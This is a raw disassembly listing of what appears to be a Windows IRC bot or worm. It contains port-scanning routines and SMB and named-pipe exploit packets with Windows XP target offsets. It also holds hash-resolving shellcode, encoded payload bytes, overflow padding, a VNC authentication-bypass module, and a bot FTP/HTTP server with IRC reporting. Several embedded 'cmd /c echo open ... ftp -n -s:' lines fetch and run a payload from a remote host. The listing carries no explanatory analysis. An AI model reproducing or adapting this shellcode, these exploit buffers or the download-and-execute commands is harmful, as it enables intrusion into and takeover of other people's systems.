		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A7C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431AA4	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431ADC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431B1C	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B54	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B88	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431BBC	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C70	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C78	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C7C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C84	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431D0C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D3C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D48	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D94	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DD8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431ED4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EEA
		mov	[esi+8], eax
		call	sub_431E9D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EEA
		mov	[esi+0Ch], eax
		call	sub_431E4F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EEA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E4F	proc near		; CODE XREF: sub_431DD8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E78
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E4F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E78	proc near		; CODE XREF: sub_431E4F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_431E87:				; CODE XREF: sub_431E78+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E94
		inc	ebx
		jmp	short loc_431E87
; ---------------------------------------------------------------------------


loc_431E94:				; CODE XREF: sub_431E78+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E9D	proc near		; CODE XREF: sub_431DD8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_431EB5:				; CODE XREF: sub_431E9D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431EBD
		mov	ecx, [ecx]
		jmp	short loc_431EB5
; ---------------------------------------------------------------------------


loc_431EBD:				; CODE XREF: sub_431E9D+1Aj
		mov	edx, edi


loc_431EBF:				; CODE XREF: sub_431E9D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431EC9
		mov	edx, [edx+4]
		jmp	short loc_431EBF
; ---------------------------------------------------------------------------


loc_431EC9:				; CODE XREF: sub_431E9D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431ED4	proc near		; CODE XREF: sub_431DD8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431ED4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EEA	proc near		; CODE XREF: sub_431DD8+16p
					; sub_431DD8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_431F00:				; CODE XREF: sub_431EEA+33j
		jecxz	short loc_431F3A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_431F0D:				; CODE XREF: sub_431EEA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431F19
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431F0D
; ---------------------------------------------------------------------------


loc_431F19:				; CODE XREF: sub_431EEA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431F00
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_431F3A:				; CODE XREF: sub_431EEA:loc_431F00j
					; sub_431EEA:loc_431F3Aj
		jmp	short loc_431F3A
sub_431EEA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F40	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F92
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_431F5D:				; CODE XREF: sub_431F40+38j
		jecxz	short loc_431F8D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_431F68:				; CODE XREF: sub_431F40+32j
		lodsb
		test	al, al
		jz	short loc_431F74
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F68
; ---------------------------------------------------------------------------


loc_431F74:				; CODE XREF: sub_431F40+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F5D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_431F8D:				; CODE XREF: sub_431F40:loc_431F5Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F92	proc near		; CODE XREF: sub_431F40+7p

; FUNCTION CHUNK AT 00431FCA SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431FAB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431FB6
; ---------------------------------------------------------------------------


loc_431FAB:				; CODE XREF: sub_431F92+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_431FB6:				; CODE XREF: sub_431F92+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431FCA
sub_431F92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431FBD	proc near		; CODE XREF: sub_431F92:loc_431FCAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431FBD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F92


loc_431FCA:				; CODE XREF: sub_431F92+29j
		call	sub_431FBD


loc_431FCF:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F92
; ---------------------------------------------------------------------------
		dw 0
dword_431FD4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FE0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FE4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FE8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_431FF4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FFC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FFC	dd 0			; CODE XREF: ___:loc_431FF4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432068	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_432074:				; CODE XREF: ___:0043207Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432074
		inc	edi
		jz	short loc_4320BB
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320E3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_4320BB:				; CODE XREF: ___:00432081j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_43211A+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0043210Dj
		xor	[esi-25h], bl


loc_4320E3:				; CODE XREF: ___:00432089j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4320FC:				; CODE XREF: ___:0043212Fj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320E0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_43211A:				; CODE XREF: ___:004320C1j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4321A6
		jo	short loc_4320FC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43213D+1
		add	bl, [edi]


loc_43213D:				; CODE XREF: ___:00432139j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432152+2
		cmp	ch, bh
		dec	edx


loc_432152:				; CODE XREF: ___:0043214Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_4321A6:				; CODE XREF: ___:0043212Dj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_43222C
		sub	al, 0BCh
		jmp	near ptr 5445259Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321C8	dd 0EFFFC481h, 44FFFFh,	432214h	; DATA XREF: ___:0040DC32o
dword_4321D4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321D8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321DC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321E0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321F8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321E4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_43222C:				; CODE XREF: ___:004321B0j
		push	eax
		xor	al, 29h


loc_43222F:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432238	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43224C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322F4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433538	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43353C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437CA0o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437CACo
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433824	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43384C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A6C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433AA4	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AD8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
